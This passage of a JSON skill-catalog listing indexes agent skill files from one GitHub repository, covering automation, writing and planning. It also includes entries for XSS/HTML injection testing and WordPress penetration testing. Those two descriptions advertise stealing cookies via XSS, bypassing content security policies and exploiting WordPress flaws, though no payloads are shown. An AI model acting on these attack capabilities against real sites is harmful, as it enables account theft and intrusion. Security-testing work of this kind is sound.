insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[98],{"categoryNo":99,"categoryName":100,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[102,103,104,105,106,107,108,41,109,110,111,112,113,114],"zapier make patterns","writing","workflow","automation","code","apache","how","integrations","business","use","simplicity","power","complexity",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":125,"publishedAt":46},"01M6CCFSBPM49S618W7G4NHH13","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[121,122],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":123,"categoryName":124,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[38,126,127,128,129,32,130,131,132,133,44,134,135,136,36,42,137],"scripting","html","site","Cross Site Scripting and HTML Injection Testing","html injection testing","cookies","applications","xss","content","web","test","security",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":151,"publishedAt":46},"01M6CCFJ9XTPXHTE4JR06WY475","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[144,145,148],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":146,"categoryName":147,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":149,"categoryName":150,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000036","内容创作者",[103,152,153,154,155,111],"writing skills","deployment","work","editing",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":164,"publishedAt":46},"01M6CCFG98EMZZ43D1CPZZZ54E","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[162,163],{"categoryNo":146,"categoryName":147,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":149,"categoryName":150,"taxonomyType":29,"taxonomyTypeDesc":30},[103,165,166,106,111],"writing plans","spec",{"skillNo":168,"name":169,"nameZh":6,"description":170,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":171,"categories":172,"keywords":174,"publishedAt":46},"01M6CCFDPACVC9ZM8TN63MGBP5","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[173],{"categoryNo":99,"categoryName":100,"taxonomyType":21,"taxonomyTypeDesc":22},[175,105,104,176,177,178,179,180,107,181,182,183,184,185,186,187],"Workflow Automation","network","ai agents","accessibility","workflows","infrastructure","flow","Production","execution","inngest","parallel","orchestrator","resume",{"skillNo":189,"name":190,"nameZh":6,"description":191,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":192,"categories":193,"keywords":195,"publishedAt":46},"01M6CCFB0KAB0PPNV38XQPX6YX","WordPress Penetration Testing","This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[194],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[32,190,34,196,137,36,197,198,42,111,44,199,200],"wordpress","assessment","plugins","pentest","security assessment"]